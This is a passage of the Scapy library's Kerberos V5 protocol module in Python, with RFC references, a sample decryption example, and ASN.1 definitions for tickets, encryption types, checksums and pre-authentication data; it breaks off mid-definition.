    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\nr\"\"\"\nKerberos V5\n\nImplements parts of:\n\n- Kerberos Network Authentication Service (V5): RFC4120\n- Kerberos Version 5 GSS-API: RFC1964, RFC4121\n- Kerberos Pre-Authentication: RFC6113 (FAST)\n- Kerberos Principal Name Canonicalization and Cross-Realm Referrals: RFC6806\n- Microsoft Windows 2000 Kerberos Change Password and Set Password Protocols: RFC3244\n- PKINIT and its extensions: RFC4556, RFC8070, RFC8636 and [MS-PKCA]\n- User to User Kerberos Authentication: draft-ietf-cat-user2user-03\n- Public Key Cryptography Based User-to-User Authentication (PKU2U): draft-zhu-pku2u-09\n- Initial and Pass Through Authentication Using Kerberos V5 (IAKERB):\n  draft-ietf-kitten-iakerb-03\n- Kerberos Protocol Extensions: [MS-KILE]\n- Kerberos Protocol Extensions: Service for User: [MS-SFU]\n- Kerberos Key Distribution Center Proxy Protocol: [MS-KKDCP]\n\n\n.. note::\n    You will find more complete documentation for this layer over at\n    `Kerberos <https://scapy.readthedocs.io/en/latest/layers/kerberos.html>`_\n\nExample decryption::\n\n    >>> from scapy.libs.rfc3961 import Key, EncryptionType\n    >>> pkt = Ether(hex_bytes(\"525400695813525400216c2b08004500015da71840008006dc\\\n    83c0a87a9cc0a87a11c209005854f6ab2392c25bd650182014b6e00000000001316a8201\\\n    2d30820129a103020105a20302010aa3633061304ca103020102a24504433041a0030201\\\n    12a23a043848484decb01c9b62a1cabfbc3f2d1ed85aa5e093ba8358a8cea34d4393af93\\\n    bf211e274fa58e814878db9f0d7a28d94e7327660db4f3704b3011a10402020080a20904\\\n    073005a0030101ffa481b73081b4a00703050040810010a1123010a003020101a1093007\\\n    1b0577696e3124a20e1b0c444f4d41494e2e4c4f43414ca321301fa003020102a1183016\\\n    1b066b72627467741b0c444f4d41494e2e4c4f43414ca511180f32303337303931333032\\\n    343830355aa611180f32303337303931333032343830355aa7060204701cc5d1a8153013\\\n    0201120201110201170201180202ff79020103a91d301b3019a003020114a11204105749\\\n    4e31202020202020202020202020\"))\n    >>> enc = pkt[Kerberos].root.padata[0].padataValue\n    >>> k = Key(enc.etype.val, key=hex_bytes(\"7fada4e566ae4fb270e2800a23a\\\n    e87127a819d42e69b5e22de0ddc63da80096d\"))\n    >>> enc.decrypt(k)\n\"\"\"\n\nfrom collections import namedtuple, deque\nfrom datetime import datetime, timedelta, timezone\nfrom enum import IntEnum\n\nimport os\nimport re\nimport socket\nimport struct\n\nfrom scapy.error import warning\nimport scapy.asn1.mib  # noqa: F401\nfrom scapy.asn1.ber import BER_id_dec, BER_Decoding_Error\nfrom scapy.asn1.asn1 import (\n    ASN1_BIT_STRING,\n    ASN1_BOOLEAN,\n    ASN1_Class,\n    ASN1_Codecs,\n    ASN1_GENERAL_STRING,\n    ASN1_GENERALIZED_TIME,\n    ASN1_INTEGER,\n    ASN1_OID,\n    ASN1_STRING,\n)\nfrom scapy.asn1fields import (\n    ASN1F_BIT_STRING_ENCAPS,\n    ASN1F_BOOLEAN,\n    ASN1F_CHOICE,\n    ASN1F_enum_INTEGER,\n    ASN1F_FLAGS,\n    ASN1F_GENERAL_STRING,\n    ASN1F_GENERALIZED_TIME,\n    ASN1F_INTEGER,\n    ASN1F_OID,\n    ASN1F_optional,\n    ASN1F_PACKET,\n    ASN1F_SEQUENCE_OF,\n    ASN1F_SEQUENCE,\n    ASN1F_STRING_ENCAPS,\n    ASN1F_STRING_PacketField,\n    ASN1F_STRING,\n)\nfrom scapy.asn1packet import ASN1_Packet\nfrom scapy.automaton import Automaton, ATMT\nfrom scapy.config import conf\nfrom scapy.compat import bytes_encode\nfrom scapy.error import log_runtime\nfrom scapy.fields import (\n    ConditionalField,\n    FieldLenField,\n    FlagsField,\n    IntEnumField,\n    LEIntEnumField,\n    LenField,\n    LEShortEnumField,\n    LEShortField,\n    LongField,\n    MayEnd,\n    MultipleTypeField,\n    PacketField,\n    PacketLenField,\n    PacketListField,\n    PadField,\n    ShortEnumField,\n    ShortField,\n    StrField,\n    StrFieldUtf16,\n    StrFixedLenEnumField,\n    XByteField,\n    XLEIntEnumField,\n    XLEIntField,\n    XLEShortField,\n    XStrField,\n    XStrFixedLenField,\n    XStrLenField,\n)\nfrom scapy.packet import Packet, bind_bottom_up, bind_top_down, bind_layers\nfrom scapy.supersocket import StreamSocket, SuperSocket\nfrom scapy.utils import strrot, strxor\nfrom scapy.volatile import GeneralizedTime, RandNum, RandBin\n\nfrom scapy.layers.gssapi import (\n    _GSSAPI_OIDS,\n    _GSSAPI_SIGNATURE_OIDS,\n    GSS_C_FLAGS,\n    GSS_C_NO_CHANNEL_BINDINGS,\n    GSS_QOP_REQ_FLAGS,\n    GSS_S_BAD_BINDINGS,\n    GSS_S_BAD_MECH,\n    GSS_S_COMPLETE,\n    GSS_S_CONTINUE_NEEDED,\n    GSS_S_DEFECTIVE_CREDENTIAL,\n    GSS_S_DEFECTIVE_TOKEN,\n    GSS_S_FAILURE,\n    GSS_S_FLAGS,\n    GSSAPI_BLOB,\n    GssChannelBindings,\n    SSP,\n)\nfrom scapy.layers.inet import TCP, UDP\nfrom scapy.layers.smb import _NV_VERSION\nfrom scapy.layers.tls.cert import (\n    Cert,\n    CertList,\n    CertTree,\n    CMS_Engine,\n    PrivKey,\n)\nfrom scapy.layers.tls.crypto.hash import (\n    Hash_SHA,\n    Hash_SHA256,\n    Hash_SHA384,\n    Hash_SHA512,\n)\nfrom scapy.layers.tls.crypto.groups import _ffdh_groups\nfrom scapy.layers.windows.erref import STATUS_ERREF\nfrom scapy.layers.x509 import (\n    _CMS_ENCAPSULATED,\n    CMS_ContentInfo,\n    CMS_IssuerAndSerialNumber,\n    DHPublicKey,\n    X509_AlgorithmIdentifier,\n    X509_DirectoryName,\n    X509_SubjectPublicKeyInfo,\n    DomainParameters,\n)\n\n# Redirect exports from RFC3961\ntry:\n    from scapy.libs.rfc3961 import *  # noqa: F401,F403\n    from scapy.libs.rfc3961 import (\n        _rfc1964pad,\n        ChecksumType,\n        Cipher,\n        decrepit_algorithms,\n        EncryptionType,\n        Hmac_MD5,\n        Key,\n        KRB_FX_CF2,\n        octetstring2key,\n    )\nexcept ImportError:\n    pass\n\n\n# Crypto imports\nif conf.crypto_valid:\n    from cryptography.hazmat.primitives.serialization import pkcs12\n    from cryptography.hazmat.primitives.asymmetric import dh\n\n# Typing imports\nfrom typing import (\n    List,\n    Optional,\n    Union,\n)\n\n# kerberos APPLICATION\n\n\nclass ASN1_Class_KRB(ASN1_Class):\n    name = \"Kerberos\"\n    # APPLICATION + CONSTRUCTED = 0x40 | 0x20\n    Token = 0x60 | 0  # GSSAPI\n    Ticket = 0x60 | 1\n    Authenticator = 0x60 | 2\n    EncTicketPart = 0x60 | 3\n    AS_REQ = 0x60 | 10\n    AS_REP = 0x60 | 11\n    TGS_REQ = 0x60 | 12\n    TGS_REP = 0x60 | 13\n    AP_REQ = 0x60 | 14\n    AP_REP = 0x60 | 15\n    PRIV = 0x60 | 21\n    CRED = 0x60 | 22\n    EncASRepPart = 0x60 | 25\n    EncTGSRepPart = 0x60 | 26\n    EncAPRepPart = 0x60 | 27\n    EncKrbPrivPart = 0x60 | 28\n    EncKrbCredPart = 0x60 | 29\n    ERROR = 0x60 | 30\n\n\n# RFC4120 sect 5.2\n\n\nKerberosString = ASN1F_GENERAL_STRING\nRealm = KerberosString\nInt32 = ASN1F_INTEGER\nUInt32 = ASN1F_INTEGER\n\n_PRINCIPAL_NAME_TYPES = {\n    0: \"NT-UNKNOWN\",\n    1: \"NT-PRINCIPAL\",\n    2: \"NT-SRV-INST\",\n    3: \"NT-SRV-HST\",\n    4: \"NT-SRV-XHST\",\n    5: \"NT-UID\",\n    6: \"NT-X500-PRINCIPAL\",\n    7: \"NT-SMTP-NAME\",\n    10: \"NT-ENTERPRISE\",\n}\n\n\nclass PrincipalName(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\n            \"nameType\",\n            0,\n            _PRINCIPAL_NAME_TYPES,\n            explicit_tag=0xA0,\n        ),\n        ASN1F_SEQUENCE_OF(\"nameString\", [], KerberosString, explicit_tag=0xA1),\n    )\n\n    def toString(self):\n        \"\"\"\n        Convert a PrincipalName back into its string representation.\n        \"\"\"\n        return \"/\".join(x.val.decode() for x in self.nameString)\n\n    @staticmethod\n    def fromUPN(upn: str):\n        \"\"\"\n        Create a PrincipalName from a UPN string.\n        \"\"\"\n        user, _ = _parse_upn(upn)\n        return PrincipalName(\n            nameString=[ASN1_GENERAL_STRING(user)],\n            nameType=ASN1_INTEGER(1),  # NT-PRINCIPAL\n        )\n\n    @staticmethod\n    def fromSPN(spn: str):\n        \"\"\"\n        Create a PrincipalName from a SPN string.\n        \"\"\"\n        spn, _ = _parse_spn(spn)\n        if spn.startswith(\"krbtgt\"):\n            return PrincipalName(\n                nameString=[ASN1_GENERAL_STRING(x) for x in spn.split(\"/\")],\n                nameType=ASN1_INTEGER(2),  # NT-SRV-INST\n            )\n        elif \"/\" in spn:\n            return PrincipalName(\n                nameString=[ASN1_GENERAL_STRING(x) for x in spn.split(\"/\")],\n                nameType=ASN1_INTEGER(3),  # NT-SRV-HST\n            )\n        else:\n            # In case of U2U\n            return PrincipalName(\n                nameString=[ASN1_GENERAL_STRING(spn)],\n                nameType=ASN1_INTEGER(1),  # NT-PRINCIPAL\n            )\n\n\nKerberosTime = ASN1F_GENERALIZED_TIME\nMicroseconds = ASN1F_INTEGER\n\n\n# https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xhtml#kerberos-parameters-1\n\n_KRB_E_TYPES = {\n    1: \"DES-CBC-CRC\",\n    2: \"DES-CBC-MD4\",\n    3: \"DES-CBC-MD5\",\n    5: \"DES3-CBC-MD5\",\n    7: \"DES3-CBC-SHA1\",\n    9: \"DSAWITHSHA1-CMSOID\",\n    10: \"MD5WITHRSAENCRYPTION-CMSOID\",\n    11: \"SHA1WITHRSAENCRYPTION-CMSOID\",\n    12: \"RC2CBC-ENVOID\",\n    13: \"RSAENCRYPTION-ENVOID\",\n    14: \"RSAES-OAEP-ENV-OID\",\n    15: \"DES-EDE3-CBC-ENV-OID\",\n    16: \"DES3-CBC-SHA1-KD\",\n    17: \"AES128-CTS-HMAC-SHA1-96\",\n    18: \"AES256-CTS-HMAC-SHA1-96\",\n    19: \"AES128-CTS-HMAC-SHA256-128\",\n    20: \"AES256-CTS-HMAC-SHA384-192\",\n    23: \"RC4-HMAC\",\n    24: \"RC4-HMAC-EXP\",\n    25: \"CAMELLIA128-CTS-CMAC\",\n    26: \"CAMELLIA256-CTS-CMAC\",\n}\n\n# https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xhtml#kerberos-parameters-2\n\n_KRB_S_TYPES = {\n    1: \"CRC32\",\n    2: \"RSA-MD4\",\n    3: \"RSA-MD4-DES\",\n    4: \"DES-MAC\",\n    5: \"DES-MAC-K\",\n    6: \"RSA-MD4-DES-K\",\n    7: \"RSA-MD5\",\n    8: \"RSA-MD5-DES\",\n    9: \"RSA-MD5-DES3\",\n    10: \"SHA1\",\n    12: \"HMAC-SHA1-DES3-KD\",\n    13: \"HMAC-SHA1-DES3\",\n    14: \"SHA1\",\n    15: \"HMAC-SHA1-96-AES128\",\n    16: \"HMAC-SHA1-96-AES256\",\n    17: \"CMAC-CAMELLIA128\",\n    18: \"CMAC-CAMELLIA256\",\n    19: \"HMAC-SHA256-128-AES128\",\n    20: \"HMAC-SHA384-192-AES256\",\n    # RFC 4121\n    0x8003: \"KRB-AUTHENTICATOR\",\n    # [MS-KILE]\n    0xFFFFFF76: \"MD5\",\n    -138: \"MD5\",\n}\n\n\nclass EncryptedData(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\"etype\", 0x17, _KRB_E_TYPES, explicit_tag=0xA0),\n        ASN1F_optional(UInt32(\"kvno\", None, explicit_tag=0xA1)),\n        ASN1F_STRING(\"cipher\", \"\", explicit_tag=0xA2),\n    )\n\n    def get_usage(self):\n        \"\"\"\n        Get current key usage number and encrypted class\n        \"\"\"\n        # RFC 4120 sect 7.5.1\n        if self.underlayer:\n            if isinstance(self.underlayer, PADATA):\n                patype = self.underlayer.padataType\n                if patype == 2:\n                    # AS-REQ PA-ENC-TIMESTAMP padata timestamp\n                    return 1, PA_ENC_TS_ENC\n                elif patype == 138:\n                    # RFC6113 PA-ENC-TS-ENC\n                    return 54, PA_ENC_TS_ENC\n            elif isinstance(self.underlayer, KRB_Ticket):\n                # AS-REP Ticket and TGS-REP Ticket\n                return 2, EncTicketPart\n            elif isinstance(self.underlayer, KRB_AS_REP):\n                # AS-REP encrypted part\n                return 3, EncASRepPart\n            elif isinstance(self.underlayer, KRB_KDC_REQ_BODY):\n                # KDC-REQ enc-authorization-data\n                return 4, AuthorizationData\n            elif isinstance(self.underlayer, KRB_AP_REQ) and isinstance(\n                self.underlayer.underlayer, PADATA\n            ):\n                # TGS-REQ PA-TGS-REQ Authenticator\n                return 7, KRB_Authenticator\n            elif isinstance(self.underlayer, KRB_TGS_REP):\n                # TGS-REP encrypted part\n                return 8, EncTGSRepPart\n            elif isinstance(self.underlayer, KRB_AP_REQ):\n                # AP-REQ Authenticator\n                return 11, KRB_Authenticator\n            elif isinstance(self.underlayer, KRB_AP_REP):\n                # AP-REP encrypted part\n                return 12, EncAPRepPart\n            elif isinstance(self.underlayer, KRB_PRIV):\n                # KRB-PRIV encrypted part\n                return 13, EncKrbPrivPart\n            elif isinstance(self.underlayer, KRB_CRED):\n                # KRB-CRED encrypted part\n                return 14, EncKrbCredPart\n            elif isinstance(self.underlayer, KrbFastArmoredReq):\n                # KEY_USAGE_FAST_ENC\n                return 51, KrbFastReq\n            elif isinstance(self.underlayer, KrbFastArmoredRep):\n                # KEY_USAGE_FAST_REP\n                return 52, KrbFastResponse\n        raise ValueError(\n            \"Could not guess key usage number. Please specify key_usage_number\"\n        )\n\n    def decrypt(self, key, key_usage_number=None, cls=None):\n        \"\"\"\n        Decrypt and return the data contained in cipher.\n\n        :param key: the key to use for decryption\n        :param key_usage_number: (optional) specify the key usage number.\n                                 Guessed otherwise\n        :param cls: (optional) the class of the decrypted payload\n                               Guessed otherwise (or bytes)\n        \"\"\"\n        if key_usage_number is None:\n            key_usage_number, cls = self.get_usage()\n        d = key.decrypt(key_usage_number, self.cipher.val)\n        if cls:\n            try:\n                return cls(d)\n            except BER_Decoding_Error:\n                if cls == EncASRepPart:\n                    # https://datatracker.ietf.org/doc/html/rfc4120#section-5.4.2\n                    # \"Compatibility note: Some implementations unconditionally send an\n                    # encrypted EncTGSRepPart (application tag number 26) in this field\n                    # regardless of whether the reply is a AS-REP or a TGS-REP.  In the\n                    # interest of compatibility, implementors MAY relax the check on the\n                    # tag number of the decrypted ENC-PART.\"\n                    try:\n                        res = EncTGSRepPart(d)\n                        # https://github.com/krb5/krb5/blob/48ccd81656381522d1f9ccb8705c13f0266a46ab/src/lib/krb5/asn.1/asn1_k_encode.c#L1128\n                        # This is a bug because as the RFC clearly says above, we're\n                        # perfectly in our right to be strict on this. (MAY)\n                        log_runtime.warning(\n                            \"Implementation bug detected. This looks like MIT Kerberos.\"\n                        )\n                        return res\n                    except BER_Decoding_Error:\n                        pass\n                raise\n        return d\n\n    def encrypt(self, key, text, confounder=None, key_usage_number=None):\n        \"\"\"\n        Encrypt text and set it into cipher.\n\n        :param key: the key to use for encryption\n        :param text: the bytes value to encode\n        :param confounder: (optional) specify the confounder bytes. Random otherwise\n        :param key_usage_number: (optional) specify the key usage number.\n                                 Guessed otherwise\n        \"\"\"\n        if key_usage_number is None:\n            key_usage_number = self.get_usage()[0]\n        self.etype = key.etype\n        self.cipher = ASN1_STRING(\n            key.encrypt(key_usage_number, text, confounder=confounder)\n        )\n\n\nclass EncryptionKey(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\"keytype\", 0, _KRB_E_TYPES, explicit_tag=0xA0),\n        ASN1F_STRING(\"keyvalue\", \"\", explicit_tag=0xA1),\n    )\n\n    def toKey(self):\n        return Key(\n            etype=self.keytype.val,\n            key=self.keyvalue.val,\n        )\n\n    @classmethod\n    def fromKey(self, key):\n        return EncryptionKey(\n            keytype=key.etype,\n            keyvalue=key.key,\n        )\n\n\nclass _Checksum_Field(ASN1F_STRING_PacketField):\n    def m2i(self, pkt, s):\n        val = super(_Checksum_Field, self).m2i(pkt, s)\n        if not val[0].val:\n            return val\n        if pkt.cksumtype.val == 0x8003:\n            # Special case per RFC 4121\n            return KRB_AuthenticatorChecksum(val[0].val, _underlayer=pkt), val[1]\n        return val\n\n\nclass Checksum(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\n            \"cksumtype\",\n            0,\n            _KRB_S_TYPES,\n            explicit_tag=0xA0,\n        ),\n        _Checksum_Field(\"checksum\", \"\", explicit_tag=0xA1),\n    )\n\n    def get_usage(self):\n        \"\"\"\n        Get current key usage number\n        \"\"\"\n        # RFC 4120 sect 7.5.1\n        if self.underlayer:\n            if isinstance(self.underlayer, KRB_Authenticator):\n                # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator cksum\n                # (n°10 should never happen as we use RFC4121)\n                return 6\n            elif isinstance(self.underlayer, PA_FOR_USER):\n                # [MS-SFU] sect 2.2.1\n                return 17\n            elif isinstance(self.underlayer, PA_S4U_X509_USER):\n                # [MS-SFU] sect 2.2.2\n                return 26\n            elif isinstance(self.underlayer, AD_KDCIssued):\n                # AD-KDC-ISSUED checksum\n                return 19\n            elif isinstance(self.underlayer, KrbFastArmoredReq):\n                # KEY_USAGE_FAST_REQ_CHKSUM\n                return 50\n            elif isinstance(self.underlayer, KrbFastFinished):\n                # KEY_USAGE_FAST_FINISHED\n                return 53\n        raise ValueError(\n            \"Could not guess key usage number. Please specify key_usage_number\"\n        )\n\n    def verify(self, key, text, key_usage_number=None):\n        \"\"\"\n        Verify a signature of text using a key.\n\n        :param key: the key to use to check the checksum\n        :param text: the bytes to verify\n        :param key_usage_number: (optional) specify the key usage number.\n                                 Guessed otherwise\n        \"\"\"\n        if key_usage_number is None:\n            key_usage_number = self.get_usage()\n        key.verify_checksum(key_usage_number, text, self.checksum.val)\n\n    def make(self, key, text, key_usage_number=None, cksumtype=None):\n        \"\"\"\n        Make a signature.\n\n        :param key: the key to use to make the checksum\n        :param text: the bytes to make a checksum of\n        :param key_usage_number: (optional) specify the key usage number.\n                                 Guessed otherwise\n        \"\"\"\n        if key_usage_number is None:\n            key_usage_number = self.get_usage()\n        self.cksumtype = cksumtype or key.cksumtype\n        self.checksum = ASN1_STRING(\n            key.make_checksum(\n                keyusage=key_usage_number,\n                text=text,\n                cksumtype=self.cksumtype,\n            )\n        )\n\n\nKerberosFlags = ASN1F_FLAGS\n\n_ADDR_TYPES = {\n    # RFC4120 sect 7.5.3\n    0x02: \"IPv4\",\n    0x03: \"Directional\",\n    0x05: \"ChaosNet\",\n    0x06: \"XNS\",\n    0x07: \"ISO\",\n    0x0C: \"DECNET Phase IV\",\n    0x10: \"AppleTalk DDP\",\n    0x14: \"NetBios\",\n    0x18: \"IPv6\",\n}\n\n\nclass HostAddress(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\n            \"addrType\",\n            0,\n            _ADDR_TYPES,\n            explicit_tag=0xA0,\n        ),\n        ASN1F_STRING(\"address\", \"\", explicit_tag=0xA1),\n    )\n\n\nHostAddresses = lambda name, **kwargs: ASN1F_SEQUENCE_OF(\n    name, [], HostAddress, **kwargs\n)\n\n\n_AUTHORIZATIONDATA_VALUES = {\n    # Filled below\n}\n\n\nclass _AuthorizationData_value_Field(ASN1F_STRING_PacketField):\n    def m2i(self, pkt, s):\n        val = super(_AuthorizationData_value_Field, self).m2i(pkt, s)\n        if not val[0].val:\n            return val\n        if pkt.adType.val in _AUTHORIZATIONDATA_VALUES:\n            return (\n                _AUTHORIZATIONDATA_VALUES[pkt.adType.val](val[0].val, _underlayer=pkt),\n                val[1],\n            )\n        return val\n\n\n_AD_TYPES = {\n    # RFC4120 sect 7.5.4\n    1: \"AD-IF-RELEVANT\",\n    2: \"AD-INTENDED-FOR-SERVER\",\n    3: \"AD-INTENDED-FOR-APPLICATION-CLASS\",\n    4: \"AD-KDC-ISSUED\",\n    5: \"AD-AND-OR\",\n    6: \"AD-MANDATORY-TICKET-EXTENSIONS\",\n    7: \"AD-IN-TICKET-EXTENSIONS\",\n    8: \"AD-MANDATORY-FOR-KDC\",\n    64: \"OSF-DCE\",\n    65: \"SESAME\",\n    66: \"AD-OSD-DCE-PKI-CERTID\",\n    128: \"AD-WIN2K-PAC\",\n    129: \"AD-ETYPE-NEGOTIATION\",\n    # [MS-KILE] additions\n    141: \"KERB-AUTH-DATA-TOKEN-RESTRICTIONS\",\n    142: \"KERB-LOCAL\",\n    143: \"AD-AUTH-DATA-AP-OPTIONS\",\n    144: \"KERB-AUTH-DATA-CLIENT-TARGET\",\n}\n\n\nclass AuthorizationDataItem(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\n            \"adType\",\n            0,\n            _AD_TYPES,\n            explicit_tag=0xA0,\n        ),\n        _AuthorizationData_value_Field(\"adData\", \"\", explicit_tag=0xA1),\n    )\n\n\nclass AuthorizationData(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\n        \"seq\", [AuthorizationDataItem()], AuthorizationDataItem\n    )\n\n    def getAuthData(self, adType):\n        return next((x.adData for x in self.seq if x.adType == adType), None)\n\n\nAD_IF_RELEVANT = AuthorizationData\n_AUTHORIZATIONDATA_VALUES[1] = AD_IF_RELEVANT\n\n\nclass AD_KDCIssued(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_PACKET(\"adChecksum\", Checksum(), Checksum, explicit_tag=0xA0),\n        ASN1F_optional(\n            Realm(\"iRealm\", \"\", explicit_tag=0xA1),\n        ),\n        ASN1F_optional(ASN1F_PACKET(\"iSname\", None, PrincipalName, explicit_tag=0xA2)),\n        ASN1F_PACKET(\"elements\", None, AuthorizationData, explicit_tag=0xA3),\n    )\n\n\n_AUTHORIZATIONDATA_VALUES[4] = AD_KDCIssued\n\n\nclass AD_AND_OR(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        Int32(\"conditionCount\", 0, explicit_tag=0xA0),\n        ASN1F_PACKET(\"elements\", None, AuthorizationData, explicit_tag=0xA1),\n    )\n\n\n_AUTHORIZATIONDATA_VALUES[5] = AD_AND_OR\n\nADMANDATORYFORKDC = AuthorizationData\n_AUTHORIZATIONDATA_VALUES[8] = ADMANDATORYFORKDC\n\n\n# https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xml\n_PADATA_TYPES = {\n    1: \"PA-TGS-REQ\",\n    2: \"PA-ENC-TIMESTAMP\",\n    3: \"PA-PW-SALT\",\n    11: \"PA-ETYPE-INFO\",\n    14: \"PA-PK-AS-REQ-OLD\",\n    15: \"PA-PK-AS-REP-OLD\",\n    16: \"PA-PK-AS-REQ\",\n    17: \"PA-PK-AS-REP\",\n    19: \"PA-ETYPE-INFO2\",\n    20: \"PA-SVR-REFERRAL-INFO\",\n    111: \"TD-CMS-DIGEST-ALGORITHMS\",\n    128: \"PA-PAC-REQUEST\",\n    129: \"PA-FOR-USER\",\n    130: \"PA-FOR-X509-USER\",\n    131: \"PA-FOR-CHECK_DUPS\",\n    132: \"PA-AS-CHECKSUM\",\n    133: \"PA-FX-COOKIE\",\n    134: \"PA-AUTHENTICATION-SET\",\n    135: \"PA-AUTH-SET-SELECTED\",\n    136: \"PA-FX-FAST\",\n    137: \"PA-FX-ERROR\",\n    138: \"PA-ENCRYPTED-CHALLENGE\",\n    141: \"PA-OTP-CHALLENGE\",\n    142: \"PA-OTP-REQUEST\",\n    143: \"PA-OTP-CONFIRM\",\n    144: \"PA-OTP-PIN-CHANGE\",\n    145: \"PA-EPAK-AS-REQ\",\n    146: \"PA-EPAK-AS-REP\",\n    147: \"PA-PKINIT-KX\",\n    148: \"PA-PKU2U-NAME\",\n    149: \"PA-REQ-ENC-PA-REP\",\n    150: \"PA-AS-FRESHNESS\",\n    151: \"PA-SPAKE\",\n    161: \"KERB-KEY-LIST-REQ\",\n    162: \"KERB-KEY-LIST-REP\",\n    165: \"PA-SUPPORTED-ENCTYPES\",\n    166: \"PA-EXTENDED-ERROR\",\n    167: \"PA-PAC-OPTIONS\",\n    170: \"KERB-SUPERSEDED-BY-USER\",\n    171: \"KERB-DMSA-KEY-PACKAGE\",\n}\n\n_PADATA_CLASSES = {\n    # Filled elsewhere in this file\n}\n\n\n# RFC4120\n\n\nclass _PADATA_value_Field(ASN1F_STRING_PacketField):\n    \"\"\"\n    A special field that properly dispatches PA-DATA values according to\n    padata-type and if the paquet is a request or a response.\n    \"\"\"\n\n    def m2i(self, pkt, s):\n        val = super(_PADATA_value_Field, self).m2i(pkt, s)\n        if pkt.padataType.val in _PADATA_CLASSES:\n            cls = _PADATA_CLASSES[pkt.padataType.val]\n            if isinstance(cls, tuple):\n                parent = pkt.underlayer or pkt.parent\n                is_reply = False\n                if parent is not None:\n                    if isinstance(parent, (KRB_AS_REP, KRB_TGS_REP)):\n                        is_reply = True\n                    else:\n                        parent = parent.underlayer or parent.parent\n                        is_reply = isinstance(parent, KRB_ERROR)\n                cls = cls[is_reply]\n            if not val[0].val:\n                return val\n            return cls(val[0].val, _underlayer=pkt), val[1]\n        return val\n\n\nclass PADATA(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\"padataType\", 0, _PADATA_TYPES, explicit_tag=0xA1),\n        _PADATA_value_Field(\n            \"padataValue\",\n            \"\",\n            explicit_tag=0xA2,\n        ),\n    )\n\n\n# RFC 4120 sect 5.2.7.2\n\n\nclass PA_ENC_TS_ENC(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        KerberosTime(\"patimestamp\", GeneralizedTime(), explicit_tag=0xA0),\n        ASN1F_optional(Microseconds(\"pausec\", 0, explicit_tag=0xA1)),\n    )\n\n\n_PADATA_CLASSES[2] = EncryptedData  # PA-ENC-TIMESTAMP\n_PADATA_CLASSES[138] = EncryptedData  # PA-ENCRYPTED-CHALLENGE\n\n\n# RFC 4120 sect 5.2.7.4\n\n\nclass ETYPE_INFO_ENTRY(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\"etype\", 0x1, _KRB_E_TYPES, explicit_tag=0xA0),\n        ASN1F_optional(\n            ASN1F_STRING(\"salt\", \"\", explicit_tag=0xA1),\n        ),\n    )\n\n\nclass ETYPE_INFO(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"seq\", [ETYPE_INFO_ENTRY()], ETYPE_INFO_ENTRY)\n\n\n_PADATA_CLASSES[11] = ETYPE_INFO\n\n# RFC 4120 sect 5.2.7.5\n\n\nclass ETYPE_INFO_ENTRY2(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        ASN1F_enum_INTEGER(\"etype\", 0x1, _KRB_E_TYPES, explicit_tag=0xA0),\n        ASN1F_optional(\n            KerberosString(\"salt\", \"\", explicit_tag=0xA1),\n        ),\n        ASN1F_optional(\n            ASN1F_STRING(\"s2kparams\", \"\", explicit_tag=0xA2),\n        ),\n    )\n\n\nclass ETYPE_INFO2(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"seq\", [ETYPE_INFO_ENTRY2()], ETYPE_INFO_ENTRY2)\n\n\n_PADATA_CLASSES[19] = ETYPE_INFO2\n\n\n# RFC8636 - PKINIT Algorithm Agility\n\n\nclass TD_CMS_DIGEST_ALGORITHMS(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\"seq\", [], X509_AlgorithmIdentifier)\n\n\n_PADATA_CLASSES[111] = TD_CMS_DIGEST_ALGORITHMS\n\n\n# PADATA Extended with RFC6113\n\n\nclass PA_AUTHENTICATION_SET_ELEM(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE(\n        Int32(\"paType\", 0, explicit_tag=0xA0),\n        ASN1F_optional(\n            ASN1F_STRING(\"paHint\", \"\", explicit_tag=0xA1),\n        ),\n        ASN1F_optional(\n            ASN1F_STRING(\"paValue\", \"\", explicit_tag=0xA2),\n        ),\n    )\n\n\nclass PA_AUTHENTICATION_SET(ASN1_Packet):\n    ASN1_codec = ASN1_Codecs.BER\n    ASN1_root = ASN1F_SEQUENCE_OF(\n        \"elems\", [PA_AUTHENTICATION_SET_ELEM()], PA_AUTHENTICATION_SET_ELEM\n    )\n\n\n_PADATA_CLASSES[134] = 